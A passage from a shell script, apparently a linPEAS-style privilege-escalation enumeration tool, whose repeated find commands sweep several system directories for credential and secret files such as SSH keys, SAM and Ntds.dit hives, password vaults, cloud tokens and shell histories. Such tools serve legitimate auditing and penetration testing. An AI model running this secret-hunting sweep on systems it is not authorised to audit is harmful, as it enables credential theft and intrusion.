\"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_PRIVATE=`eval_bckgrd "find /private -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_RUN=`eval_bckgrd "find /run -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SBIN=`eval_bckgrd "find /sbin -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SNAP=`eval_bckgrd "find /snap -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SRV=`eval_bckgrd "find /srv -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYS=`eval_bckgrd "find /sys -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.timer\" -o -name \"*.service\" -o -name \"rocketchat.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_TMP=`eval_bckgrd "find /tmp -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name 